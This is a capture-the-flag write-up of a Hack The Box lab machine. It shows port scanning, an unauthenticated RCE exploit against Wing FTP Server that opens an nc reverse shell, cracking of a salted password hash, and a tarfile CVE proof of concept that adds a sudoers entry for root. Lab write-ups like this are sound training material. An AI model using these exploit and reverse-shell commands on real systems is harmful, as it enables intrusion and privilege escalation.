mairon $ echo 10.129.244.106 wingdata.htb | sudo tee -a /etc/hosts
10.129.244.106 wingdata.htb
mairon $ rustscan -a wingdata.htb --ulimit 5000 -- -Pn -n -v --open -A -sCV | tee ~/htb/wingdata/rustscan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😡 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.244.106:22
Open 10.129.244.106:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.244.106
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 10:28 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
Initiating Connect Scan at 10:28
Scanning 10.129.244.106 [2 ports]
Discovered open port 22/tcp on 10.129.244.106
Discovered open port 80/tcp on 10.129.244.106
Completed Connect Scan at 10:28, 0.02s elapsed (2 total ports)
Initiating Service scan at 10:28
Scanning 2 services on 10.129.244.106
Completed Service scan at 10:28, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.244.106.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 5.08s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.07s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
Nmap scan report for 10.129.244.106
Host is up, received user-set (0.016s latency).
Scanned at 2026-03-22 10:28:36 CET for 11s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
|   256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open  http    syn-ack Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:28
Completed NSE at 10:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds
mairon $ gobuster vhost -k -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://wingdata.htb --ad --xs 301 | tee ~/htb/wingdata/gobuster-vhost.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://wingdata.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
ftp.wingdata.htb Status: 200 [Size: 678]
===============================================================
Finished
===============================================================
mairon $ echo 10.129.244.106 ftp.wingdata.htb | sudo tee -a /etc/hosts
10.129.244.106 ftp.wingdata.htb

That page reveals Wing FTP Server v7.4.3 on the login page. Very telling, as it clearly inspired this box’s name, and seems to be vulnerable to an RCE:

mairon $ rg "Wing FTP Server 7.4.3" /usr/share/exploitdb/
/usr/share/exploitdb/files_exploits.csv
11713:52347,exploits/multiple/remote/52347.py,"Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)",2025-07-02,4m3rr0r,remote,multiple,,2025-07-02,2025-07-02,0,CVE-2025-47812,,,,,

/usr/share/exploitdb/exploits/multiple/remote/52347.py
1:# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)

Let’s halt further enumeration for now and let’s run inside:

mairon $ rlwrap ncat -lnvp 1337
mairon $ cp /usr/share/exploitdb/exploits/multiple/remote/52347.py ~/htb/wingdata/
mairon $ python ~/htb/wingdata/52347.py --url http://ftp.wingdata.htb/ -c "nc -e /bin/sh 10.10.15.205 1337"

[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'nc -e /bin/sh 10.10.15.205 1337' and username: 'anonymous'
[+] UID extracted: 1914dc1725d05a520e1e94a932907b81f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 1914dc1725d05a520e1e94a932907b81f528764d624db129b32c21fbca0cb8d6

From here we’ve got a shell:

mairon $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.244.106:39802.
id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

I found some hashes in /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml and /opt/wftpserver/Data/settings.xml, but I could not crack this. Later I found I overlooked the /opt/wftpserver/Data/1 directory (I overlooked that 1 directory).

I also noticed there’s only 1 homedir in /home, called wacky, and I found this user’s passwd hash in /opt/wftpserver/Data/1/users/wacky.xml: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca. Sadly I couldn’t crack this either. I did find <EnableSHA256>1</EnableSHA256> in /opt/wftpserver/Data/1/settings.xml, which confirmed the hash type, and crucially <SaltingString>WingFTP</SaltingString> in the same file. I then added this salt to the hash: 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP, and cracked the hash:

mairon $ hashcat -m 1410 ~/htb/wingdata/wacky-hash.txt ~/htb/wordlists/rockyou.txt --potfile-disable
[...]
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
[...]

Let’s get the user hash:

mairon $ ssh-add ~/.ssh/id_ed25519-maelstrom-ninja-nopasswd
Identity added: /home/gkroon/.ssh/id_ed25519-maelstrom-ninja-nopasswd (gkroon@sulaco)
~ gkroon@mairon $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 wacky@wingdata.htb
Warning: Identity file ssh/id_ed25519 not accessible: No such file or directory.
The authenticity of host 'wingdata.htb (10.129.244.106)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
+--[ED25519 256]--+
|         . .     |
|          o .    |
|        ..=..    |
|       . O*...   |
|        SE=*o.   |
|     . o #.=..o. |
|      + B O .o. .|
|       + * +.. o |
|      ..o...=o. o|
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
wacky@wingdata.htb's password:
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 22 06:56:23 2026 from 10.10.15.205
wacky@wingdata:~$ cat user.txt
e779c412a9ec93dbd762c4e149e887cd

We notice this user is allowed to run a Python script as root:

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Inspecting the script I had hoped I could escape via path traversal like so:

wacky@wingdata:~$ echo "wacky ALL=(ALL) NOPASSWD:ALL" wacky
wacky@wingdata:~$ tar -cf /opt/backup_clients/backups/backup_clients/backup_1001.tar --transform='s|^.*$|../../../../../../etc/sudoers.d/wacky|' wacky
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_wacky
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_wacky
[!] Error during extraction: '../../../../../../etc/sudoers.d/wacky' would be extracted to '/etc/sudoers.d/wacky', which is outside the destination

Sadly to no avail, but I seemed to be on the right track.

Turns out that tarfile module seems to be vulnerable to CVE-2025-4517 in this Python version (3.12.3). I found a PoC here: https://github.com/AzureADTrent/CVE-2025-4517-POC. After downloading that script we can exploit it like so:

NOTE::I had hoped to exploit this a bit more manually using that --create-only arg I supply, as found in the README of this repo. Sadly, that arg seems to not be there (anymore) and this ran the exploit automated regardless, even using our exact backup client setup.

wacky@wingdata:~$ python3 CVE-2025-4517-POC.py --create-only

╔═══════════════════════════════════════════════════════════╗
β•‘     CVE-2025-4517 Tarfile Exploit                         β•‘
β•‘     Privilege Escalation via Symlink + Hardlink Bypass    β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999

[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y

[*] Spawning root shell...
[*] Run: sudo /bin/bash
root@wingdata:/home/wacky# cat ~/root.txt
72f9911cdb175b0a4c779b62f9d2af7c
pwned